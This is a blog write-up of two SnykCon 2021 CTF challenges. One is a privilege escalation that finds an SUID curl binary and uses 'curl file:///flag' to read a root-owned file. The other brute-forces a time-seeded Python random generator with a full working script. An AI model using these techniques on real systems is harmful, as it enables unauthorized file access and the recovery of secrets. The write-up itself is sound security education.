SnykCon 2021 “Fetch the Flag” CTF

I had the privilege of participating in SnykCon 2021’s “Fetch the Flag” CTF event which was recently hosted by Snyk, a company that focuses on automatically finding and fixing security vulnerabilities in applications. The CTF lasted 10 hours with teams of up to 5 allowed. This was my first live CTF event, and I choose to go solo for this one. There were 20 challenges posed in total. I finished 1 of them within time, and wrapped up another after the competition closed. I also got to try out a few challenges that were a bit out of my comfort zone. I had a lot of fun, and also learned a lot in the process.
I wrote up both of the challenges that I solved starting with “All Your Flag Are Belong to Root”, and then “Random Flag Generator”. The second one was particularly fun for me because I got to draw upon my background in Monte Carlo methods in physics, which I conduct research in. If you solved these challenges differently, or finished other challenges from “Fetch the Flag”, I would love to hear about them.
All Your Flag Are Belong to Root
This is the challenge that I solved during the competition. It was a privilege escalation challenge, plain and simple. We were given the IP address of the target, as well as a username and password to log in as a regular user.
ssh u@35.211.30.226 -p 8000 password: XEx<--redacted-->Uc96
We can log in using these credentials, making sure to set the remote port to 8000, in the usual way.
$ ssh u@35.211.30.226 -p 8000
The authenticity of host '[35.211.30.226]:8000 ([35.211.30.226]:8000)' can't be established.
ECDSA key fingerprint is SHA256:lMU4cQROcyJXQ7wU4MbmmNE4uEmAzyMyuhXnh8GnCsI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[35.211.30.226]:8000' (ECDSA) to the list of known hosts.
u@35.211.30.226's password:
CATS:連邦政府れんぽうせいふ軍ぐんのご協力きょうりょくにより、君達きみたちの基地きちは、全すべてCATSがいただいた。
all-your-flags-are-belong-to-root-x78x:~$
Now, we can start looking around on the target machine to find the flag. The home directory of the user ‘u’ doesn’t have anything useful in it. If we check the root of the file system ‘/’, we find the file which probably contains the flag (highlighted below).
all-your-flags-are-belong-to-root-x78x:~$ ls -al /
total 68
drwxr-xr-x 1 root root 4096 Oct 5 12:04 .
drwxr-xr-x 1 root root 4096 Oct 5 12:04 ..
-rwxr-xr-x 1 root root 0 Oct 5 12:04 .dockerenv
drwxr-xr-x 2 root root 4096 Jun 15 14:34 bin
drwxr-xr-x 5 root root 340 Oct 5 12:04 dev
drwxr-xr-x 1 root root 4096 Oct 5 12:04 etc
---------- 1 root root 71 Jul 15 12:08 flag
drwxr-xr-x 1 root root 4096 Jul 15 12:08 home
drwxr-xr-x 1 root root 4096 Jun 15 14:34 lib
drwxr-xr-x 5 root root 4096 Jun 15 14:34 media
drwxr-xr-x 2 root root 4096 Jun 15 14:34 mnt
drwxr-xr-x 2 root root 4096 Jun 15 14:34 opt
dr-xr-xr-x 247 root root 0 Oct 5 12:04 proc
drwx------ 2 root root 4096 Jun 15 14:34 root
drwxr-xr-x 1 root root 4096 Oct 5 12:04 run
drwxr-xr-x 2 root root 4096 Jun 15 14:34 sbin
drwxr-xr-x 2 root root 4096 Jun 15 14:34 srv
dr-xr-xr-x 12 root root 0 Oct 5 12:03 sys
drwxrwxrwt 2 root root 4096 Jun 15 14:34 tmp
drwxr-xr-x 1 root root 4096 Jun 15 14:34 usr
drwxr-xr-x 1 root root 4096 Jun 15 14:34 var
all-your-flags-are-belong-to-root-x78x:~$
However, as the name of the challenge suggests, the flag belongs to root, and so does everything else on the filesystem (as far as I saw, anyway). We need to escalate our privileges if we want to read the flag.
First, we can see if we can run anything as root via the sudo command.
all-your-flags-are-belong-to-root-x78x:~$ sudo -l
-sh: sudo: not found
Apparently ‘sudo’ doesn’t exist on this machine, or has been hidden from the user ‘u’ somehow. There are several other methods we might use to escalate our privileges. You can check out TryHackMe’s “Linux PrivEsc” room to learn about, and practice, a few of them. What ends up working in this challenge is searching for commands with SUID permissions.
$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwsr-xr-x 1 root root 235472 Jun 11 12:54 /usr/bin/curl
We see that we can run curl as root. Since we know where the flag is, ‘/flag’, we can simply use curl to get the file as root.
all-your-flags-are-belong-to-root-x78x:~$ curl file:///flag
SNYK{06b0e0ae4995af71335eda2882fecbc5008b01d95990982b439f3f8365fc07f7}
And, success!
Random Flag Generator
As I mentioned in the introduction to this blog post, I didn’t finish this challenge during the event itself; however, I had a workable solution and was able to finish afterwards. This was an especially fun challenge for me because, for my day job, I conduct research in Monte Carlo methods for solving physics problems. It’s really cool when ‘outside’ knowledge is helpful in one of these challenges.
We are given two files for the challenge. The first file is a python script which is a “random” flag generator called “generate.py”. There was an 🎉 emoji in the code below, but It didn’t want to render in the code preview, so I changed it to ‘<emoji>’ instead.
import random
import time
import hashlib
seed = round(time.time())
random.seed(seed, version=2)
while True:
rnd = random.random()
hash = hashlib.sha256(str(rnd).encode()).hexdigest()
flag = f"SNYK{{{hash}}}"
if "5bc" in hash:
with open("./flag", "w") as f:
f.write(flag)
break
else:
print(f"Bad random value: {rnd}")
print("Flag created <emoji>")
The script uses the system time to get a random seed which is then used to initialize the random number generator in Python’s random module. Then, random numbers are generated in a while loop until the sha256 hash of the encoded random number contains the string “5bc” somewhere in the hash. The details of how the random numbers get encoded isn’t too important here; what matters is that the random number is mapped to a hash. When the hash of the encoded random number does not contain “5bc”, it is printed, and the loop continues to the next random number.
The second file that we are given is a log file, “log.txt”, containing the output from the “random” flag generator.
Bad random value: 0.3719072557403058
Bad random value: 0.3702330745519661
Bad random value: 0.0634360689087381
Bad random value: 0.2952684217196877
Bad random value: 0.49843979869018884
Bad random value: 0.7895773927381043
Bad random value: 0.2917373566923527
Bad random value: 0.9030776618431813
Bad random value: 0.7181809628413409
Bad random value: 0.28050872595896736
Bad random value: 0.17458286936713008
Bad random value: 0.2767390568969583
Bad random value: 0.5492478684168797
Bad random value: 0.2641653670084557
Bad random value: 0.5156703392963877
Bad random value: 0.32839693347899057
Bad random value: 0.6998299885658202
Bad random value: 0.5811672985185747
Bad random value: 0.4644468325648108
Bad random value: 0.49982517906634727
Bad random value: 0.9333988943747559
Bad random value: 0.7513893164652713
Bad random value: 0.18638831058360805
There are a few security issues in the ‘generate.py’ application which allow us to compromise the “random” flag that was generated via a brute force attack.
The first, and probably the most critical, issue is the fact that the “Bad” random numbers are printed. We can combine this output with the second issue, below, to create an easy ‘check’ for the correct random seed.
The second issue is the fact that generate.py uses the pseudorandom number generator in the ‘random’ python module. If we use the correct random seed in “generate.py”, we will see exactly the same string of random numbers, up to at least machine floating point precision (usually about 1.0e-12). The reason this works is that a pseudorandom number generator is (intentionally) deterministic and, for Python’s ‘random’ module, mostly platform independent as well. In practice, we only need to check the first “Bad” random number in the sequence to know that we have the right seed. So, we can very easily check if we have the correct seed, but how do we make a good guess for the seed? There are far too many possible seeds to test unless we can narrow the range of possible seeds down to a fairly small range. This brings us to the last issue in the application.
We see in the code that the system time, ‘time.time()’, was used to get a seed for the generator. It was also rounded, so we know the seed is an integer and not a float. This narrows down our search significantly. We can start with the current time (in epoch time) and work backwards from there by subtracting 1 second from the seed in each step. For a lower bound, we can easily search up to a year in the past to start with since that is only about 31.5 million values, and testing the seeds is a pretty quick operation. Using my laptop, which is not very powerful, I was able to brute force the correct seed in about 79 seconds using a single core when stopping at a match. It would have only taken about 240 seconds (or about 4 minutes) to test the entire year prior to SnykCon2021.
Below is my python script for brute forcing the random seed which I named ‘get_seed.py’. Feel free to run it for yourself!
import random
import time
import hashlib
def isclose(a,b,thresh=1.0e-6):
if abs(a - b) < thresh:
return True
return False
def test_seed(seed,testval):
random.seed(seed, version=2)
rnd = random.random()
# we expect a match to machine precision!
if isclose(rnd,testval,1.0e-8):
print("\n[+] Found match: seed = ", seed)
print(" [rnd] random number = ", rnd)
print(" [T] match system time (Local Time) = ", time.ctime(seed),flush=True)
return seed
else:
return 0
def main(testval,total_seeds=None,start=None):
if total_seeds is None:
total_seeds = 365*24*3600 # 1 year in seconds
if start is None:
start = round(time.time()) # use current time as starting seed by default
stop = start - total_seeds
print("[+] Starting with seed", start)
print(" [T] Local time", time.ctime(start))
print(f"[+] Trying {total_seeds} seeds",flush=True)
ts = time.time()
for i in range(start, start - total_seeds, -1):
if test_seed(seed=i,testval=testval):
break
tf = round(time.time())
print(f"\nBrute force attack finished in {tf-ts} seconds.")
if __name__=='__main__':
main(testval=0.3719072557403058)
The main function simply loops backwards over all of the seeds that we want to check, beginning with the current system time (we could also use the start time of SnykCon 2021 instead), and ending when it has tested a year worth of seeds. It checks to see if each seed produces the ‘testvalue’, which is the first “Bad” random number in ‘log.txt’, and it stops early if it finds a match. I don’t know if everyone got the same log.txt file or not, but if yours is different than mine, you can just change the last line in my script from ‘main(testval=0.3719072557403058)’ to ‘main(testval=<your first ‘Bad’ random number>)’. You can also run the original ‘generate.py’ script to make a new flag to test, just for fun.
Now, we can run the brute force attack in a terminal.
$ python3 get_seed.py | tee bruteforce.log
[+] Starting with seed 1633627939
[T] Local time Thr Oct 7 01:32:19 2021
[+] Trying 31536000 seeds
[+] Found match: seed = 1624176198
[rnd] random number = 0.3719072557403058
[T] match system time (Local Time) = Sun Jun 20 04:03:18 2021
Brute force attack finished in 78.0052547454834 seconds.
The brute force attack was successful. Apparently the flag was generated on Jun 20, 2021 at 04:03:18 EDT. We can look at the random number that was produced, 0.3719072557403058, and compare it to the test value, 0.3719072557403058, which match exactly. Now we know that the seed used to generate the flag is 1624176198 and we can run it through a modified version of generate.py.
import random
import time
import hashlib
# found in brute force attack:
seed = 1624176198
random.seed(seed, version=2)
while True:
rnd = random.random()
hash = hashlib.sha256(str(rnd).encode()).hexdigest()
flag = f"SNYK{{{hash}}}"
if "5bc" in hash:
print("Flag created = ", flag)
break
else:
print(f"Bad random value: {rnd}")
Running this script, which I named ‘get_flag.py’, we get the following output.
$ python3 get_flag.py | tee flag.log
Bad random value: 0.3719072557403058
Bad random value: 0.3702330745519661
Bad random value: 0.0634360689087381
Bad random value: 0.2952684217196877
Bad random value: 0.49843979869018884
Bad random value: 0.7895773927381043
Bad random value: 0.2917373566923527
Bad random value: 0.9030776618431813
Bad random value: 0.7181809628413409
Bad random value: 0.28050872595896736
Bad random value: 0.17458286936713008
Bad random value: 0.2767390568969583
Bad random value: 0.5492478684168797
Bad random value: 0.2641653670084557
Bad random value: 0.5156703392963877
Bad random value: 0.32839693347899057
Bad random value: 0.6998299885658202
Bad random value: 0.5811672985185747
Bad random value: 0.4644468325648108
Bad random value: 0.49982517906634727
Bad random value: 0.9333988943747559
Bad random value: 0.7513893164652713
Bad random value: 0.18638831058360805
Flag created = SNYK{53811586115bc8d9aed9fe1a84e9f2caeb71dea19fd63f68bad2a1a1d7196d46}
We can verify that the entire string of random numbers is identical to log.txt (to floating point precision!) and we have found the flag (highlighted above)!
I hope you enjoyed these writeups. Again, if you did something differently, I’d love to hear about it. Be sure to connect with me on LinkedIn, and share your writeups for SnykCon 2021’s “Fetch the Flag”.
Update: I saw that John Hammond posted a video writeup for “Random Flag Generator” with a slightly different solution. You can watch it here.